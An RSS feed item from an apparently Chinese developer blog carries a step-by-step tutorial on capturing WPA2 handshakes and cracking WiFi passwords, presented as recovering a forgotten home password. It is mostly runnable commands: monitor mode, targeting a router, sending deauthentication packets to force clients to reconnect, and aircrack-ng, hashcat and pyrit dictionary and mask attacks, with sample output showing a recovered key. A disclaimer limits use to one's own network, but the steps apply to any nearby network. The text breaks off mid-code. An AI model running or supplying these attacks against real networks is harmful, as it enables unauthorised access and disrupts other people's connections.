<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>WiFi on 开发者巴沙</title><link>http://dosoos.github.io/blog_basha/tags/wifi/</link><description>Recent content in WiFi on 开发者巴沙</description><generator>Hugo -- gohugo.io</generator><language>zh-cn</language><lastBuildDate>Mon, 18 May 2026 10:00:00 +0800</lastBuildDate><atom:link href="http://dosoos.github.io/blog_basha/tags/wifi/index.xml" rel="self" type="application/rss+xml"/><item><title>WiFi密码忘了怎么找回？cap握手包破解教程（2026最新）</title><link>http://dosoos.github.io/blog_basha/p/wifi%E5%AF%86%E7%A0%81%E5%BF%98%E4%BA%86%E6%80%8E%E4%B9%88%E6%89%BE%E5%9B%9Ecap%E6%8F%A1%E6%89%8B%E5%8C%85%E7%A0%B4%E8%A7%A3%E6%95%99%E7%A8%8B2026%E6%9C%80%E6%96%B0/</link><pubDate>Mon, 18 May 2026 10:00:00 +0800</pubDate><guid>http://dosoos.github.io/blog_basha/p/wifi%E5%AF%86%E7%A0%81%E5%BF%98%E4%BA%86%E6%80%8E%E4%B9%88%E6%89%BE%E5%9B%9Ecap%E6%8F%A1%E6%89%8B%E5%8C%85%E7%A0%B4%E8%A7%A3%E6%95%99%E7%A8%8B2026%E6%9C%80%E6%96%B0/</guid><description>&lt;blockquote>
&lt;p>⚠️ &lt;strong>免责声明&lt;/strong>：本文仅用于恢复你自己拥有的 WiFi 网络密码。未经授权破解他人 WiFi 密码是违法行为，请勿用于非法用途。&lt;/p>
&lt;/blockquote>
&lt;h2 id="前言">前言&lt;/h2>
&lt;p>家里的 WiFi 密码设了太久没用忘记了？换了新手机想连 WiFi 却想不起密码？路由器管理页面也登不进去了？&lt;/p>
&lt;p>对于使用 WPA/WPA2 加密的 WiFi 网络，密码不会以明文形式存储在路由器中。但好消息是，我们可以通过抓取 WiFi 的&amp;quot;握手包&amp;quot;（Handshake），然后使用密码恢复工具来找回丢失的密码。&lt;/p>
&lt;h2 id="基础知识wpa2-握手包是什么">基础知识：WPA2 握手包是什么？&lt;/h2>
&lt;h3 id="四次握手4-way-handshake">四次握手（4-Way Handshake）&lt;/h3>
&lt;p>当设备（手机、电脑）连接 WPA2 WiFi 时，会和路由器进行一次&amp;quot;四次握手&amp;quot;过程：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">客户端 路由器
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 1. ANonce (随机数A) |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> |&amp;lt;------------------------------|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 2. SNonce (随机数B) + MIC |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> |------------------------------&amp;gt;|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 3. GTK + MIC |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> |&amp;lt;------------------------------|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 4. 确认 |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> |------------------------------&amp;gt;|
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>这个握手过程包含了用于推导 WiFi 密码的关键信息。抓到这四次握手的数据包（保存为 .cap 文件），就可以离线尝试恢复密码。&lt;/p>
&lt;h3 id="关键点">关键点&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>cap 文件不包含密码本身&lt;/strong>，只包含验证密码是否正确的信息&lt;/li>
&lt;li>需要至少一个设备在握手过程中在线（或手动触发重连）&lt;/li>
&lt;li>WPA2 的加密算法是 AES-CCMP，没有已知漏洞，只能通过穷举法恢复密码&lt;/li>
&lt;/ul>
&lt;h2 id="第一步抓取-wpa2-握手包">第一步：抓取 WPA2 握手包&lt;/h2>
&lt;h3 id="所需工具">所需工具&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>硬件&lt;/strong>：支持监听模式（Monitor Mode）的无线网卡
&lt;ul>
&lt;li>推荐：Alfa AWUS036ACH、TP-Link TL-WN722N（V1）、Alfa AWUS036NHA&lt;/li>
&lt;li>注意：很多内置笔记本网卡不支持监听模式&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>软件&lt;/strong>：&lt;a class="link" href="https://www.aircrack-ng.org/" target="_blank" rel="noopener"
>aircrack-ng&lt;/a> 套件&lt;/li>
&lt;/ul>
&lt;h3 id="安装-aircrack-ng">安装 aircrack-ng&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Ubuntu/Debian&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt install aircrack-ng
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># macOS&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">brew install aircrack-ng
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Kali Linux（已预装）&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="抓取握手的完整流程">抓取握手的完整流程&lt;/h3>
&lt;h4 id="1-查看无线网卡并切换到监听模式">1. 查看无线网卡并切换到监听模式&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 查看可用的无线网卡&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">iwconfig
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 假设网卡名称为 wlan0，先停止干扰进程&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo airmon-ng check &lt;span class="nb">kill&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 切换到监听模式&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo airmon-ng start wlan0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 现在网卡名称变为 wlan0mon&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="2-扫描周围的-wifi-网络">2. 扫描周围的 WiFi 网络&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo airodump-ng wlan0mon
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>屏幕会显示：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">BSSID PWR Beacons #Data, #/s CH ENC AUTH CIPHER ESSID
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">AA:BB:CC:DD:EE:FF -45 100 50 2 6 WPA2 PSK CCMP MyHomeWiFi
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">11:22:33:44:55:66 -67 80 20 1 11 WPA2 PSK CCMP Neighbor_WiFi
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>记住目标 WiFi 的 &lt;strong>BSSID&lt;/strong>（MAC 地址）和 &lt;strong>CH&lt;/strong>（信道）。&lt;/p>
&lt;h4 id="3-锁定目标网络并抓取握手包">3. 锁定目标网络并抓取握手包&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -w 指定保存文件名前缀&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># --bssid 指定目标 BSSID&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -c 指定信道&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo airodump-ng -w capture --bssid AA:BB:CC:DD:EE:FF -c &lt;span class="m">6&lt;/span> wlan0mon
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="4-触发设备重新握手">4. 触发设备重新握手&lt;/h4>
&lt;p>等待自然握手可能很慢，可以主动发送解除认证包（Deauth）来强制设备重新连接：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 在另一个终端执行&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -0 5 表示发送 5 个 deauth 包&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -a 是路由器的 BSSID&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo aireplay-ng -0 &lt;span class="m">5&lt;/span> -a AA:BB:CC:DD:EE:FF wlan0mon
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>当 airodump-ng 右上角显示 &lt;strong>&amp;ldquo;WPA handshake: AA:BB:CC:DD:EE:FF&amp;rdquo;&lt;/strong> 时，说明握手包已成功抓取。&lt;/p>
&lt;h4 id="5-退出监听模式">5. 退出监听模式&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo airmon-ng stop wlan0mon
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 恢复网络服务&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl restart NetworkManager
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>此时你会得到一个 &lt;code>capture-01.cap&lt;/code> 文件，这就是包含 WPA2 握手信息的数据包。&lt;/p>
&lt;h2 id="第二步验证握手包是否完整">第二步：验证握手包是否完整&lt;/h2>
&lt;p>在开始破解前，确认 cap 文件包含完整的握手信息：&lt;/p>
&lt;h3 id="使用-aircrack-ng-验证">使用 aircrack-ng 验证&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">aircrack-ng capture-01.cap
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>如果输出中包含 &amp;ldquo;1 handshake&amp;rdquo;，说明握手包有效。&lt;/p>
&lt;h3 id="使用-tshark-详细查看">使用 tshark 详细查看&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 安装 Wireshark 命令行工具&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt install tshark
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 查看握手包详情&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tshark -r capture-01.cap -Y &lt;span class="s2">&amp;#34;eapol&amp;#34;&lt;/span> -V
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="使用在线工具验证">使用在线工具验证&lt;/h3>
&lt;p>你也可以将 cap 文件上传到 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>catpasswd.com&lt;/a> 直接进行密码恢复，无需手动验证——系统会自动检测握手包的有效性。&lt;/p>
&lt;h2 id="第三步破解-wifi-密码">第三步：破解 WiFi 密码&lt;/h2>
&lt;h3 id="方法-1aircrack-ng-字典攻击">方法 1：aircrack-ng 字典攻击&lt;/h3>
&lt;p>最简单直接的方式：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -w 指定字典文件&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># -b 指定目标 BSSID&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>如果密码在字典中，输出类似：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl"> Aircrack-ng 1.7
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> [00:02:35] 2847536/9822786 keys tested (19050.27 k/s)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Time left: 6 minutes, 7 seconds 28.98%
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> KEY FOUND! [ mypassword123 ]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Master Key : 4A 2B 3C 1D 5E 6F 7A 8B 9C 0D 1E 2F 3A 4B 5C 6D
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> 7E 8F 9A 0B 1C 2D 3E 4F 5A 6B 7C 8D 9E 0F 1A 2B
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Transient Key : ...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> EAPOL HMAC : ...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-2hashcat-gpu-加速推荐最快">方法 2：Hashcat GPU 加速（推荐，最快）&lt;/h3>
&lt;h4 id="转换-cap-文件为-hashcat-格式">转换 cap 文件为 Hashcat 格式&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用 hcxtools 转换&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 安装&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt install hcxtools
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 转换为 .hc22000 格式&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hcxpcapngtool -o wifi_hash.hc22000 capture-01.cap
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="使用-hashcat-破解">使用 Hashcat 破解&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># WPA/WPA2 在 Hashcat 中的模式是 22000&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">0&lt;/span> wifi_hash.hc22000 wordlist.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用 GPU 加速，速度通常在 100K-500K/s（取决于显卡）&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="常用攻击策略">常用攻击策略&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 字典攻击&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">0&lt;/span> wifi_hash.hc22000 rockyou.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 规则攻击（对字典中的密码做变形：加数字、改大小写等）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">0&lt;/span> wifi_hash.hc22000 rockyou.txt -r rules/best64.rule
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 掩码攻击（假设记得密码是 8 位小写字母+数字）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">3&lt;/span> wifi_hash.hc22000 &lt;span class="s2">&amp;#34;?l?l?l?l?l?l?d?d&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 组合攻击&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22000&lt;/span> -a &lt;span class="m">1&lt;/span> wifi_hash.hc22000 wordlist1.txt wordlist2.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-3pyrit专为-wpa-优化的工具">方法 3：Pyrit（专为 WPA 优化的工具）&lt;/h3>
&lt;p>&lt;a class="link" href="https://github.com/JPaulMora/Pyrit" target="_blank" rel="noopener"
>Pyrit&lt;/a> 可以预计算 WPA 的 PMK（Pairwise Master Key），加速破解：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 安装&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pip install pyrit
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 导入字典&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pyrit -r rockyou.txt import_passwords
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 导入 cap 文件&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pyrit -r capture-01.cap import_capture
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 设置 ESSID&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pyrit -e &lt;span class="s2">&amp;#34;MyHomeWiFi&amp;#34;&lt;/span> create_essid
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 预计算 PMK（利用 GPU/CPU 加速）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pyrit batch
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 攻击&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pyrit attack_db
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-4python-脚本自己写">方法 4：Python 脚本自己写&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
